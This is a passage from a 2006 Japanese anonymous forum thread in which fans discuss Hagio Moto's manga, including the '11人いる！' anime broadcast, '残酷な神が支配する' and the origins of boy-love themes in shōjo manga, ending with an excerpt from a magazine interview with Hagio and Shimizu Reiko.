11人いる！テレビではじめて見たけど、面白かった。
フロルかわいいね。
261:花と名無しさん
06/07/31 11:00:14 0
私もアニメは始めてみた
四世がなぜあんな顔に…チャコがなぜ美形に…フロルはもっと
中性的に描いてほしかった。あの口紅はいったい…
やたら顔を赤くするタダがキモイw
出崎絵がこわいw原作に近い頭身でやって欲しかった
262:花と名無しさん
06/07/31 11:45:29 0
フロルが違う
あれじゃ普通にｴﾛっぽい女の子にしか見えない
フロルはガンダムＳＥＥＤのカガリみたいなイメージなんだけどな
性格も似てるし
アニメはイマイチだけど、エンディングの部分と曲だけは中々良かった
263:花と名無しさん
06/07/31 16:06:47 0
えー「11人いる」ってアニメか何かになったのか?
264:花と名無しさん
06/07/31 16:14:56 0
見ないほうがいいものもある、、、。11人アニメ
265:花と名無しさん
06/07/31 16:47:18 0
実写ドラマ（黒歴史）
アニメ（当時としては頑張ったほうだと思うが今見ると…）
という感じ。
そーいやスーファミの「ガイア幻想記」だっけ？
萩尾さんがキャラクターデザインやったんじゃなかったっけ…
と調べてみたら「キャラクター原案」か。
やったことある人いる？
266:花と名無しさん
06/07/31 16:50:56 0
自分もアニメ初めて見た
キャラの外見が大人っぽいのがちょっと違和感かな
アマゾン作曲家かよｗお勉強したくなったんじゃなかったのか
あと改めて、王様あの性格で国を統治か・・と思った
267:花と名無しさん
06/07/31 17:37:14 0
>>266
あんな性格だから続編で国が乱れたんだよw
268:花と名無しさん
06/07/31 17:39:36 O
ポーの一族（インタビュー・ウィズ・バンパイア）
269:花と名無しさん
06/07/31 18:46:51 0
ポーの一族(≠ダンス・オブ・ヴァンパイア)
270:花と名無しさん
06/07/31 19:08:22 0
彼と踊ってみたいな！エドのこと！
271:花と名無しさん
06/07/31 20:54:22 0
>>265
良ゲーなのでゲーマーとして単純におすすめ
272:花と名無しさん
06/07/31 21:30:11 0
大原まり子も参加しててなにげに贅沢なソフトだった
273:花と名無しさん
06/07/31 22:37:09 0
画面がTVサイズだったのが気になった。。＜今日の放映
既に映画サイズの原盤？は残ってないのだろうか。
274:花と名無しさん
06/07/31 23:25:59 0
>>265
突っ込みどころ満載で爆笑出来るゲームだったよ。このゲームやって本
気で大原まり子の行く末を案じてしまった。
275:花と名無しさん
06/08/01 01:06:14 qV0fvfWv0
11人いるの実写ドラマってあったんですか？？
276:花と名無しさん
06/08/01 01:30:42 0
ガイアやったよ。酔いまくりｗだった。
萩尾さんのﾃﾞｻﾞｲﾝｷｬﾗだってことは知ってたけど、ずっとこのｽﾚ読むまでわすれてた。
でも楽しくちゃんとクリアした（できた）少ないゲームのうちのひとつだ。
277:花と名無しさん
06/08/01 08:51:54 0
１１人いる！実写ドラマ
その昔ＮＨＫで制作されたﾓﾉ
あまりの陳腐さに笑いも怒りもﾌﾘｰｽﾞするようなシロモノだった
被り物がﾋﾟﾝｸだかのﾋﾞﾆｰﾙ鬘だったりｗｗｗｗｗｗ
278:花と名無しさん
06/08/01 11:31:51 0
>>277
私もちょっと記憶にある
子供の学芸会そのものでしたね
萩尾さん、怒ったかな
279:花と名無しさん
06/08/01 11:36:38 0
苦笑したんじゃない？笑うしかないっしょｗ
280:花と名無しさん
06/08/01 15:13:57 0
かなり前に、なんかの対談だかインタビューの時にその話がでて、
「まあ、皆さん頑張ってやっていらっしゃったとは思うんですけど（笑）
どうしてあんなことになっちゃったんでしょうねえ（笑）」
…って感じのことを言ってたな。
（皮肉とか嫌味ではなく、他の人と『あーもーしょーがねーな』みたいに
苦笑しつつ、という雰囲気）
281:花と名無しさん
06/08/01 15:20:45 0
>>280
＞（皮肉とか嫌味ではなく、他の人と『あーもーしょーがねーな』みたいに
＞苦笑しつつ、という雰囲気）
わかる。萩尾さんなら、そういう対応しそうだ。
目くじらたてて怒ったりなんかは想像しにくい。
282:花と名無しさん
06/08/01 16:16:09 0
対談で目くじらたてて怒る人の方が少ないとｵﾓ
URLﾘﾝｸ(www.youtube.com)
王様おちつけｗｗｗ
283:花と名無しさん
06/08/01 16:56:39 0
萩尾さんが動いているとこ、見てみたいなー。
めったにテレビとか出ませんよね。
284:花と名無しさん
06/08/01 17:03:02 0
>>238
インタビュー動画でよければドゾー！
以前、このスレ（だったとｵﾓ）で教えてもらったものだけど。
URLﾘﾝｸ(www.ishinomori.com)
285:花と名無しさん
06/08/01 17:12:00 0
>>284
上品で知的で可愛い人ですね
286:花と名無しさん
06/08/01 17:43:49 0
>>282
ホント王様ﾓﾁﾂｹｗｗｗ
287:花と名無しさん
06/08/01 19:03:54 0
王様ﾌｧﾋﾞｮりすぎw
288:花と名無しさん
06/08/01 19:27:14 0
このシーンはトーマの乱闘シーンとりいれたのかね
289:花と名無しさん
06/08/01 20:24:46 0
11人いるのアニメ始めてみた！
フロルはもっと中世的な方がいいなー
290:花と名無しさん
06/08/01 20:26:02 0
すみません、中性的、です。
291:花と名無しさん
06/08/01 20:30:21 0
中世コスのフロルも萌ゆるw
292:花と名無しさん
06/08/01 20:37:11 0
>>291
タダ「フロル！またそんなコスプレして！」
フロル「だって似合うんだもーん」
293:花と名無しさん
06/08/01 21:12:55 0
>>284さん
ありがとー
想像していたとおりの声です
ステキな方でよかった～！
294:花と名無しさん
06/08/01 21:37:27 0
何十年かぶりに見たら結構冷静に見られた。＞アニメ
声優さんたちが今から考えるとふた昔前くらいの感じで懐かしい。
フロルは何がイヤだったかってケツがもろ女だったのが当時は
すげーイヤだったんだが、今見てもイヤだった。
ホルモン投与しなくてもアニメのフロルは充分女だ。
295:花と名無しさん
06/08/01 22:20:49 0
残酷な神～を今日初めて、５巻まで読んだんですけど
辛くて最後まで読みきれる気がしません・・・
１巻最初のビビとの能天気な会話を思い出すと泣けてくる（´；ω；｀）
ジェルミ君そのうちいいことあるんですか？
296:花と名無しさん
06/08/01 22:30:11 0
トラウマはそう簡単には治らないとだけ言っておく
297:花と名無しさん
06/08/01 22:39:39 O
今日11人いる！を読んでハマってしまった……
昨日ハマればアニメ見れたのにorz
298:花と名無しさん
06/08/01 23:04:25 0
>>296
うーん気になる・・・やっぱり明日続き読んできます！
299:花と名無しさん
06/08/01 23:05:14 0
>>295
自分も文庫で一気に読んだあとしばらく封印してた
（雑誌でリアルタイム読みだったらきっと挫折してた 読んでた人ｽｺﾞｽ）
でも読んでよかったと思ったよ
ジェルミとイアンていう人間を真摯に描いてる
その分安易な展開はなし
>>297
イ㌔
300:花と名無しさん
06/08/01 23:09:25 0
300ゲット！
辛すぎたらいったん中断して、気持ちが落ち着いてから続きを読むのもいいとｵﾓ。
301:花と名無しさん
06/08/01 23:10:56 0
>>299
えっ、イアンが目立ってくるんですか？
今のところのほほんとしてるので、なんだこいつ！と思ってた･･･
どうりでしょっちゅう表紙に出てくるわけだー美男子が描きたいだけじゃなかったのかー
じゃあ、最終巻→1巻冒頭じゃないんですね。
302:花と名無しさん
06/08/01 23:18:56 0
>>301
単行本だと7巻くらいかな。文庫だと知らない。
後を丁寧に丁寧に描写してるよ。
303:花と名無しさん
06/08/01 23:26:22 0
文庫（全10巻）では１巻冒頭は４巻頭だお
304:花と名無しさん
06/08/02 01:31:26 O
>>298辛くなったら、ちょっと前にもあがってる「危ない丘の家」を読んで息抜きするのがオススメ
脳天気で明るいジェルミとイアンの仲良し兄弟生活が拝めるよ。
ホッと幸せな気分になる
305:花と名無しさん
06/08/02 01:34:50 O
丁寧な描写といえば
全てを知ったイアンが木に抱きついて孤独と名付けよう、というシーンが好きだな。
淡い墨の色彩が信じられないくらい繊細で、綺麗で、いまだに本誌を捨てずに持ってるよ
306:花と名無しさん
06/08/02 01:38:50 0
>>305
本当に美しくて物哀しい最高に静かなシーンだよね。あの静謐な感じを
漫画で表してるのは私もすごいと思った。
307:花と名無しさん
06/08/02 01:42:43 0
残神は、虐待のとこで挫折しちゃうと
作品の半分しか知らないことになるので勿体無い。
しんどいと思うけど頑張って読んで欲しい。
最後まで読めばちゃんと救われると思うから。
許しと再生をテーマにした同性愛風味の話は
90年代以降珍しくはないけれども、
主人公にまつわる傷のエピソードは、たいていの場合
秘められていた過去として、謎解き的に読者の前に提示される。
（それをやった最初が多分「トーマ…」なんだろうし、
残神の前半も手法じたいはそれを踏襲しているが）
傷を受けた人がどうやって壊れていくか、
そこからどうやって再び立ち直っていくか、
これを当事者の立場から常に現在起こっていることとして
シームレスに描き切ったのはすごいなあと思います。
308:花と名無しさん
06/08/02 03:08:04 0
誰がﾄﾞｷｭ女か議論があったけど
サンドラのような母親には絶対なりたくない
309:花と名無しさん
06/08/02 03:36:53 0
自分は明美属性な気がするわ
気をつけよう
310:花と名無しさん
06/08/02 15:57:56 O
私はサンドラ的なことをしてしまうかもしれない。
悪い意味で人間として弱すぎる。
自分本位なんだよ。
その部分は私にもある。だからむかつく。
グレッグと最初に一泊する場面からしておかしい。
息子よりも女の幸せを選ぶのはいいんだが、少しは躊躇してくれよ～。
サンドラに元からお金があれば、エーリクのママ（マリエだっけ？）になってたんだろうけどな。
サンドラ死ね
311:花と名無しさん
06/08/02 16:13:31 0
いやそれ生きてないから。
てか、サンドラレベルに死ね言うてたら人口激減しちゃわね？
人間は自己本位なものだ。
それでも足を踏みしめて生きてゆく。 他人と係わりながら。
残酷な神の支配のもと。
312:花と名無しさん
06/08/02 16:23:27 0
息子の前で何度も自殺図るってありえないと思うんだけど
313:花と名無しさん
06/08/02 16:37:59 0
いやいるよ、ああいうの。
ちょっとボーダー入ってるだろうね。
しかもそのテのパーソナリティ障害の人ってなぜか美形が多いから
異性にはモテるんだこれが。
ちなみにいかにもドキュソばかりでなく
ユーリの善悪まっぷたつな考え方（スプリッティングと言う）とか
他者をやたら理想視するとこなんかも実はけっこうヤバい。
314:花と名無しさん
06/08/02 16:39:48 0
息子を道連れにしなかっただけマシ。＜違
315:花と名無しさん
06/08/02 16:50:40 0
>>310
＞サンドラに元からお金があれば、エーリクのママ（マリエだっけ？）になってたんだろうけどな。
これ読んで、ふと考えたんだけど……
グレッグとユーリ・シドって対照的なキャラだよね。
グレッグは、再婚相手の連れ子を、その後の人生狂わせるほどに苦しめたのに、
ユーリ・シドは、再婚するはずだった相手の子を引き取って面倒をみる。
マリエがいなくなった今、血のつながらないエーリクとは別れても少しも不思議じゃないのに、
「君も私も、とてもマリエを愛していた。だから私たちは一緒に暮らせないかね？」って……
同じ男でも、こうも違うものなんかなとｵﾓﾀ。
316:花と名無しさん
06/08/02 17:49:05 0
>>313
>>他者をやたら理想視するとこなんかも実はけっこうヤバい。
勝手に理想化して崇拝しといて、自分の思惑と違う振る舞いをすると
「そんなことをするのは私の○○じゃない！」とかキレてみたり。
イリヤに対するグレッグな感じ？
317:花と名無しさん
06/08/02 18:15:08 0
残酷な神、続き読んできました。
もう、うにょんうにょんの思考の迷路状態で、出口なんてあるのか？と思ってしまった。
虐待の連鎖とか、精神病系の話って読んでていつもこんな気分になるけど、
この話は心情描写が細かくて登場人物に肩入れしまくっちゃうぶん
それが本当に読んでて辛いですね。
最後に光がみえてよかったーと思いつつも、
でもきっと2人ともこんな感じで一生迷い迷い浮きつ沈みつ生きてくんだろうなぁとも。
ううージェルミ・・・イアン・・・（ノω；｀）
マージョリーちゃんの明るさが読んでて救いでした。
あと意外と、モミアゲの、ロレンツォさん？が気に入ってしまった。
318:花と名無しさん
06/08/02 18:33:50 0
>>282
ﾊﾞﾛｽｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
319:花と名無しさん
06/08/02 20:27:29 0
>>317
乙！
ロレンツォなんかいいよね
適当に遊んでる奴なんだけど、人を上手くフォローしたり
何よりパスカルとクレアと付き合えるってすごいと思うわ
320:花と名無しさん
06/08/02 22:55:52 0
『残神』ってファンが多いんだなぁ
321:花と名無しさん
06/08/02 23:02:43 0
やっぱり今のところ一番長い作品だし、そう思うと、
連載中ずーっとリアルタイムでつきあった人も多くなるし、
テーマもあれだし、熱意をもって語る人が多いのは当然かも。
「ファン」というのとはちょっと違うような気がする。
322:花と名無しさん
06/08/02 23:14:54 0
残神の話になるとスレが伸びるよね。
323:花と名無しさん
06/08/02 23:40:31 0
サンドラに限らず、自分のためなら子供を犠牲にする人は結構いるような
気がする。。。。漫画のメッセージそのものなんだけど。
サンドラがジェルミの思春期に精神的自立をとれる位大人だったら
ジェルミが必要以上に傷つくこともなかったと思う。
問題なのは、ジェルミが自分を犠牲にしてまで母親を守らなきゃならない
と思わせた、それまでのサンドラのジェルミに対する依存度で
愛情がなんなのか問う名作だよな。
好き嫌い分かれる作品だけど単なる作品の完成度云々じゃなくて読者に
深く「問わせる」意図は成功してると思う。
萩尾ヲタだけど全ての作品の中で読み応えは「残酷」が一番だな。
324:花と名無しさん
06/08/03 01:22:32 0
>>323
確かに「問わせる」ことを否応なくさせられますた。
読みごたえ抜群なのも勿論、萩尾さんの作品の中で一番好きだな～。
実は、「残酷」は最後に絶対バッドエンドにはならんだろう、と思って読み始めた。
その前に「メッシュ」、「ポーの一族」、
萩尾さんじゃないけど、「日出づる処の天子」、「風と木の詩」と立て続けによみ、
ハッピーなエンドが見たかった自分に残酷の冒頭にはアンハッピーは感じさせられなかったから。
リアルタイムで妹（小学～高校）と一緒に数年かけて読んだけど、妹はこれで萩尾さんファンになりました。
325:花と名無しさん
06/08/03 07:23:03 0
>>320
たとえば「11人いる」なら「おもしろかった！」で充分自分の感動が伝わる気がするけど
残神だと・・・いろいろ考えちゃっていろいろ書きたくなる。
どっちも同じくらい好きなんだけど。
326:花と名無しさん
06/08/04 01:37:27 O
>>322
自分はこれが初めて読んだ萩尾作品なのでつ。手塚賞関連がきっかけで
今まで同性愛っぽい漫画って作者のｵﾅﾆｰもののイメージがあってイライラしていたんだけど、これは違った。
脇役や主人公にとっての悪役に対しても弁解していたりと客観的に人の心情を描いているのが好感的だった。
後、身近にある小道具とかただ置いているんじゃなくて、巧く色々な場面で表現するのに使用させてみたりだとか。
てか何気に初心者よりも昔から萩尾作品を読んでた人が受け付けられないの多い感じがする。
327:花と名無しさん
06/08/04 02:01:25 O
つか、この人自体がその801漫画家を広めた中の一人じゃんか。
328:花と名無しさん
06/08/04 05:10:05 0
初期の児童文学っぽいののファンとかは残神苦手なのかな・・？
たたでさえ同性愛＆虐待シーンでかなり読む人選ぶもんな
萩尾のホモ趣味は否定しないけど801とはちょっと違うんじゃないか？
JUNEやBLならわかるんだけど
329:花と名無しさん
06/08/04 07:03:37 0
はい、残神苦手
キャラ設定がしっかりしてて面白いけど
グレッグとのシーンはすっ飛ばす
イアンとの細かな描写も嫌悪感
330:花と名無しさん
06/08/04 08:05:43 0
絵は初期のが好きだなー
それにしても海外（ひとくくりにはできないけど）ってあんなにゲイが普通なのかな。
グレッグは異常なので置いといて、
イアンも普通の将来の中にギリシアで美少年と遊ぶっての入れてる・・・
萩尾作品だからってものあるだろうけど、
たしかにアメリカの映画とかでも、
おじさんが男の子と仲良くしてると変な目で見られたり、よくあるよね。
日本では女の子とおじさんは怪しまれるけど、男の子と・・・ってなくないか？
外人のほうが理解しやすいんじゃないか、これ。
331:花と名無しさん
06/08/04 10:41:53 0
>>328
萩尾さんや竹宮さんの蒔いた種が育ったのがJUNEや801やBLなのです。
332:花と名無しさん
06/08/04 10:58:32 0
24年組は少年愛（もしくは男性同性愛）を少女漫画に広めたよね。
山岸さんは女性同性愛や少女愛、ペドフィリアみたいなものも描いているけど、
萩尾さんはその中でも少年愛に思い入れがあるように見えるなあ。
333:花と名無しさん
06/08/04 11:07:51 0
>332
少年愛や男性同性愛に対する思い入れは、
特にない気がする。
自分が描きたいテーマを表現するのに適しているから使ってる感じだ。
思い入れなら、
何となく「少女」に対するものをふと感じることがある。
（別に同性愛的な意味じゃないよ）
334:花と名無しさん
06/08/04 11:34:07 0
>>333
うん、「少女」に対する思いは感じる。
でも少年愛ってものにも惹かれているように感じられたんだよ。
インタビューでも「BLは読んでますよ」、って萩尾さん言ってたし。
昔から勉強熱心だからBLも読んでる、って面もあると思うけどね。
少女まんが入門という昔の本で、萩尾さんが漫画作りにはとにかく正確な情報と資料が
必要と言ってたのが印象に残ってる。その本にはポーの一族の漫画のカットが載っていた。
335:花と名無しさん
06/08/04 11:34:21 0
>>333
＞思い入れなら、
＞何となく「少女」に対するものをふと感じることがある。
『小夜の縫うゆかた』とか『毛糸玉にじゃれないで』とか
『赤っ毛のいとこ』とか『マリーン』とかを読んでると
それを感じる。
336:花と名無しさん
06/08/04 11:54:12 0
少女に対する思い入れと少年愛に対する思い入れは裏表の関係だと思う
337:336
06/08/04 11:54:52 0
萩尾さんの場合は、ってことです
338:花と名無しさん
06/08/04 12:02:25 0
>>336
ああ、そんな感じなのかな。
自分も少年に生まれたかった、と萩尾さんが述べてたのも、なにか分かる。
339:花と名無しさん
06/08/04 17:03:44 O
>>325
好きでもまたいろんな好きがあるってことさ。
340:花と名無しさん
06/08/04 22:39:17 0
少年愛に関する興味は当時はむしろ竹宮さんのが強かったようだ。
萩尾さんはダイレクトなそっち方面は苦手で、もっと精神的な愛を描きたくて
少年という表現体を取ったって感じ。
むしり中身は少女なんだよね。
341:花と名無しさん
06/08/04 22:58:26 0
少年愛の形をとった少女愛というものか。
342:花と名無しさん
06/08/04 23:07:15 0
愛に少女も少年も無いっていうか、
説明しにくいけど「愛」そのものを描いてる感じだな。
残神みたいなフィジカルなのは初期は薄くて
当然少女漫画のカテゴリーだったってのもあるが。
343:花と名無しさん
06/08/04 23:13:31 0
初期は竹宮さんは肉体を伴う性愛派、萩尾さんは精神派ってかんじだね
344:花と名無しさん
06/08/05 00:14:13 0
むしろ「性」を感じない。
345:花と名無しさん
06/08/05 00:15:11 0
『トーマの心臓』は、
最初は女子校を舞台にする予定だったと聞いたような気がする。
ただ、女の子同士だと生々しすぎるので、
男子校に設定を変えた、とか。
つまり、
男でも女でもどちらでも描けるものがテーマで、
読者に受け入れられやすい（あるいはテーマを示しやすい）設定を選んだらしい。
ただ、この話をどこで読んだか聞いたか覚えてないので、
自分の勘違いかもしれない。
346:花と名無しさん
06/08/05 00:27:48 0
残神のインタビューで「主人公が女だと生々しい（し、描きたいテーマ
からずれる問題が起きる）から男にした」って言ってたから残神のことじゃ
ないかな
それともトーマもそうなのか
347:花と名無しさん
06/08/05 00:32:51 O
レズ疑惑に思われるのがいやだからじゃね？
348:花と名無しさん
06/08/05 00:40:36 0
トーマの女→男の件は聞いたことある。
>>347
当時は「レズの集英社（週マ・池田理代子系） ホモの小学館」と
いわれていたと、後にプチフラ初代編集長になった人が
インタビューでいってましたよｗ
349:花と名無しさん
06/08/05 00:59:05 0
名も無く透明なものに向かって身を投げ出すような愛を描いたのがトーマ。
350:花と名無しさん
06/08/05 00:59:10 0
そういえば山岸さんの少女同性愛の短編「白い部屋の２人」は、
当初少年同性愛にする予定が編集者に却下されて少女同士になったそうな。
351:花と名無しさん
06/08/05 01:06:54 0
つ〃∩ ﾍｪｰﾍｪｰﾍｪｰ
さかもと未明がBL（やおい？）は「肉体は男、精神は女のキャラクター達が
繰り広げる宝塚のような恋愛世界」のような事を言ってたけど、原点からして
そうだったんだな。
352:花と名無しさん
06/08/05 01:15:02 0
男女でない組み合わせであれば
より精神的な結び付きであるように錯覚する
男女だとどうしても生生しく感じてｲﾔだ
353:花と名無しさん
06/08/05 02:56:27 0
>>名も無く透明なものに向かって身を投げ出すような愛を描いたのがトーマ。
しかしそれを肯定してるかと言えば、そうとも言えないのが深い。
極端に美しいとか純粋とかゆーのは、結局ある種のフリークだ。
人間がそれをやっちゃうと、どこかで破綻するのであって
あとはそれこそヴァンパネラでもなるしかない。
354:花と名無しさん
06/08/05 07:01:59 0
ふーむ。
同性は同性でも、なんで女同士より男同士が栄えるのかね。
女の打算的なトコが精神的な強いつながりに邪魔？
それとも男同士のほうが明るみに出てるだけか？
萩尾さんの少年同士の関係は
漫画じゃないが吉屋信子の少女同士の関係に似てるかな。
355:花と名無しさん
06/08/05 07:50:40 0
>354
リアルでも、ホモは一生ホモ（偽装や社会的義務感で女性と結婚する場合はある）らしいんだけど
レズの場合は20歳になったから辞める、とか25歳になったから辞めるとか、
自分で「辞める時期」みたいのを持ってる人が多くて、で
足を洗ったあとはもうレズの世界には戻ってこないんだって。
男性以上に女性の同性愛は「一過性」のケースが多いらしい。
そういうのもあるのかもね。
356:花と名無しさん
06/08/05 11:20:58 0
女の子関係のおおよそは「疑似」恋愛だからね。
真性で同性に欲望いだくひとは少ないよね。
でも男性もそうでしょう。真性の人は少ない。
真性の人は精神的にどうこうじゃなく、脳の構造がそうということになってるし。
で、少女漫画の男の子関係は、そういう疑似恋愛である女の子関係の投影で、
だから性がなくて淡くって、さらに女の子の男女関係も投影されるから、
一生カップルよ、みたいな幻想も描ける。
女の子同士より男同士が栄えるのは、単純に身近すぎてダメなんだと思う。
細かくいってけば「打算」とか、女は女同士でやってける社会背景じゃないとか、
いろいろあるにしても。いろいろ取り外して描きたいものを描くための道具だよね。
いまどきの性愛一直線のBLでもその点（描きたいものを描く道具）は、
かわらないのじゃないかなー。萩尾さんじゃないけど女は妊娠するし。
357:花と名無しさん
06/08/05 11:50:43 O
>>355
小学生の時、すごく仲のいい友達が他の子と親しくしていて
独りで拗ねてた時があったんだけど、これもレズっていうのかな？
358:花と名無しさん
06/08/05 12:10:33 0
同性愛的な要素もあったかもしれんが、そりゃ単なる嫉妬では？
同性が仲良くしてれば、
何でもゲイ・ホモ・レズに直結させるとゆーのも何だかなぁ。
>354
最近のレズ（百合）ブームは結構すごい。
男性だけじゃなく、意外と若い女性にもウケがいい。
359:花と名無しさん
06/08/05 12:12:35 0
私も>>357のは、単なるヤキモチだとｵﾓ。
360:花と名無しさん
06/08/05 13:38:06 0
女の子の友情にはよくあるよね
そういう感情
361:花と名無しさん
06/08/05 14:31:25 0
たまにポーの感想や評論で「少年愛を描いてる」っつーの見るけど
あれ、男女愛とかじゃくくれない、人間と人間の触れ合いみたいなもんが
描きたくて、わざわざ恋愛の成立しない兄妹・男と男の関係にしたんだと
思うんだけどどうなんだろ？
ジェルミが男なのもサンドラの息子かつ恋人ってポジションがキーだからだよね？
女じゃグレッグを巡って対立関係になっちゃうからってここで読んだような。
で、なんでイアンが男じゃなきゃいけなかったのかな？
362:花と名無しさん
06/08/05 14:48:21 0
ちょっと上にもあったけど、萩尾さんがもともとジェルミを女で考えてから
だと思った。
イアンを地中海のエピソードを裏付けとして「バイっ気もある男」として
設定してなんとかジェルミに手を出させたけど、普通だったら男は男と
セックルしようと思わない。
363:花と名無しさん
06/08/05 16:03:41 0
イアンが女だったら義理の弟に手を出す色気過剰のお姉さんになって
青年マンガになっちゃうだろ。
364:花と名無しさん
06/08/05 19:59:10 0
いや、昔のヤングユーとかコーラスに掲載されて
昼ドラ原作となって一般人に大ウケとか
365:361
06/08/05 22:27:23 0
ポースレ今見たら、ポーの件の内容が全く同じ書き込み見つけました。
ポースレに書き込んだ人、私の書き込み見て気分悪くなったら
すみません。ポー話題ならちゃんと目を通しとくべきでした。ごめんなさい
366:花と名無しさん
06/08/06 00:16:25 0
>>361
イアンが女だと、「俺も親父と一緒なのか？ちがうよね？ちがうちがう、うんちがう。でもやっぱ・・・」
みたいな葛藤が書けないよ。
ジェルミを救うってだけの役ならいいけど、
この漫画、後半はイアンの悩むさまがみどころだからさ。
367:花と名無しさん
06/08/06 01:09:16 0
遅レスだが、以前御本人がどっかに書いてたけど
萩尾さんは少女にには関心があったが少年にはなかった。
それが、竹宮さんの影響で少年にも関心持つようになったとか。
風木連載より前のはなしで、多分大泉にいた頃の事だと思う。
368:花と名無しさん
06/08/06 01:21:04 0
＜大泉にいた頃
そこで影響を受けたのは有名な話
369:花と名無しさん
06/08/06 08:04:54 0
へー竹宮さん苦手だったがじゃあ感謝しなくちゃな。
370:花と名無しさん
06/08/06 09:31:35 0
竹宮さんではなく、増山さんに映画を見せられて
そっち方面を知ったという感じかな。
371:花と名無しさん
06/08/06 16:54:15 0
竹宮さんは元々少年漫画大好きな人で少女読者の望むような作品が描けず
アンケートも良く無いしで、スランプ気味だったところへ、
増山さんがいろいろ自分の好きなジャンルの映画を見せたり本を読ませたりしてたらしい。
大泉サロンに出入りしてた作家さんたちはお互いにいろいろ影響受け合って
いたと思うよ。
372:ＭＯＥ 2004年2月号より その1
06/08/06 18:22:20 O
【萩尾望都×清水玲子】
普段から親交のあるお二人は、まずはお土産の交換から話が始まりました。
俳優の皆さんが到着する前に「美しい少年像」についての質問にお答えいただくことにしました。
《性別が曖昧な存在が自由な表現を可能にする》
━少女漫画の中で少年を題材にしようと思ったキッカケを教えてください。
萩尾「私、最初は美少年というのに全然興味がなかったの。
あるとき知人に誘われて『寄宿舎～悲しみの天使～』という寄宿舎を舞台にした映画を見に行ったら、13歳と15歳ぐらいの少年同士の関係を描いたもので、それが綺麗で綺麗で、描いてみたいなと」
━その当時だと少女漫画で少年を主人公にすると編集部から注意されたりしなかったんでしょうか。
萩尾「その矢面に立っていたのは竹宮恵子さんだったと思います。
きっと編集さんとずいぶん闘ってページを勝ちとって」
清水「私の頃は、もう描いてはいけないという時期ではなかったですね。
竹宮先生、萩尾先生に開拓していただいたので。
だから、美少年をたくさん描いているという意識はあんまり」
萩尾「清水さんの少年はすごい綺麗ね。
『月の子』のギル・オウェン、もうギル様と言ってしまいます。
あの綺麗さって何なんですか（笑）」
清水「ギルは少年と青年の狭間みたいな微妙な20歳前後で」
━少女漫画で少年同士を描くことの意味や効果などはあるでしょうか。
萩尾「面白いから描くけど、意味はまだよく分からないんです（笑）
要はリアルな男の子じゃないから生々しくないのかも。
どうですか、そのへん」
清水「うーん、男の子の方が動かしやすいかなって。
私の漫画はわりと悲しい終わり方が多いので、女の子をそういう目にあわせるのはどうかと。今はそうでもないんですけど」